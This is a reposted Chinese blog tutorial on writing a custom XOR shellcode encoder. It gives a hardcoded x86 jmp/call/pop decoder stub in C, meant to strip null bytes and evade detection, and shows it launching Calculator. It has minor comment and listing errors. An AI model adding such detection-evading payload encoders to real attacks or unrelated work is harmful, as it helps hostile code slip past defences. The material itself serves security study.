自学内容网 自学内容网

ShellCode异或编码器实现

前言

在使用 shellcode 时,通常会遇到 0x00 字符截断的问题。一般情况下,可以利用 msfvenom 中的编码器功能对 shellcode 进行编码。然而,有时我们希望生成自定义的编码,此时 msfvenom 就无法满足需求了。于是,为了满足需求,我去实现了一个简单异或编码器。

编码器原理

编码器是将原始的 shellcode 转换为一种在目标环境中可以安全传输或存储的格式。通过将原始 shellcode 的每个字节进行某种操作(如 XOR、加法、字节替换等),以避免生成无效字符或被检测的字符。
编码后的 shellcode包含两部分:

  1. 解码器(decoder stub):这是一段小的代码,它会首先被执行,用于将编码后的 shellcode 还原为原始的 shellcode。
  2. 编码后的 shellcode:这是经过编码的原始 shellcode,需要在目标环境中通过解码器解码后才能运行。
    简单来说,解码器是一段shellcode形式的loader,用于编码后的shellcode解码并执行。

实现一个异或编码器

要想实现一个异或编码器,我们分析一下都需要什么,最后要得到什么样的shellcode?
从结果来入手,我们想要的是我们的shellcode是被异或编码之后的,而且将这段新shellcode直接加载还得正常执行。根据原理可以知道,生成的新shellcode是由2部分组成,后一部分就是被异或的shellcode,前一部分是用于对后半部分解码的stub shellcode。
要将shellcode解码并执行,需要定位到编码shellcode的起始地址,然后对每个字节循环异或解码,解码完成后在跳转到解码后shellcode的起始地址去执行。

定位编码shellcode起始地址

解决第一个问题,如何定位到编码shellcode的起始地址。
在汇编中,call指令可以将下条指令的地址压入栈中,再跳转到指定地址。等同于push + jmp,因此,我们的stub最后一条语句可以使用call指令获取下条指令的地址,也就是我们编码shellcode的起始地址到栈中。
在起始地址,可以直接跳转到最后一条指令call的地址中,再通过call调用到第二条指令,通过寄存器获取压入栈中的地址,如下图所示。
在这里插入图片描述

循环解码

假设原始shellcode的长度是100,异或解码的密钥是0x17,可以通过以下指令循环解码

pop esi        //利用esi获取shellcode起始地址
xor ecx,ecx //将ecx清0
mov cl, 64h    //将shellcode长度赋值给cl
mov dl, 17h    //将异或编码赋值给cl
mov bl, [esi]  //获取shellcode起始地址字符
xor bl, dl     //异或解码
inc esi        //将esi指针指向下一个字符
loop           //循环插入代码片

代码构建

将上述的指令组合,可以构成一个decoder stub,在C代码中使用硬编码构建

// 动态生成decoder sutb
void generate_decryption_shellcode(uint8_t* decryption_shellcode, size_t shellcode_len, uint8_t xor_key) {
    // 汇编形式的解密器 shellcode 模板
    uint8_t decryption_template[] = {
        0xeb, 0x15,                     // jmp short 跳过23字节
        0x5e,                           // pop esi (存储 shellcode 地址)
        0x56,                           // push esi (保存 shellcode 地址用于后续恢复)
        0x31, 0xc9,                     // xor ecx, ecx
        0xb1, 0x00,                     // mov cl, shellcode_len (将 shellcode 长度加载到 cl 寄存器)
        0xb2, 0x00,                     // mov dl, xor_key (将 XOR 密钥加载到 dl 寄存器)
        0x8a, 0x1e,                     // mov bl, [esi] (从 esi 指向的地址读取一个字节)
        0x30, 0xd3,                     // xor bl, dl (异或 bl 和 dl)
        0x88, 0x1e,                     // mov [esi], bl (将解密后的字节存回 rsi 指向的地址)
        0xff, 0xc6,                     // inc esi (递增 esi 指针,指向下一个字节)
        0xe2, 0xf6,                     // loop (继续循环,直到所有字节解密完毕)
        0x5e,                           // pop esi (恢复原始 shellcode 地址)
        0xff, 0xe6,                     // jmp esi (跳到 esi 执行解密后的 shellcode)
        0xe8, 0xe6, 0xff, 0xff, 0xff    // call -25 (跳回到 pop esi)
        };

    // 修改 shellcode 长度和 XOR 密钥
    decryption_template[7] = (uint8_t)shellcode_len;  // 将 shellcode 长度写入模板
    decryption_template[9] = xor_key;  // 将 XOR 密钥写入模板

    // 复制解密器 shellcode 到目标 buffer
    memcpy(decryption_shellcode, decryption_template, sizeof(decryption_template));
}

原始和编码后的shellcode
在这里插入图片描述

使用ida查看shellcode的反汇编,0x1c前为decoder stub,后面为异或编码后的数据
在这里插入图片描述

测试运行

运行编码后的shellcode,可以正常弹出计算器
在这里插入图片描述
获取完整代码
在这里插入图片描述


原文地址:https://blog.csdn.net/weixin_44001905/article/details/142458744

免责声明:本站文章内容转载自网络资源,如本站内容侵犯了原著者的合法权益,可联系本站删除。更多内容请关注自学内容网(zxcms.com)!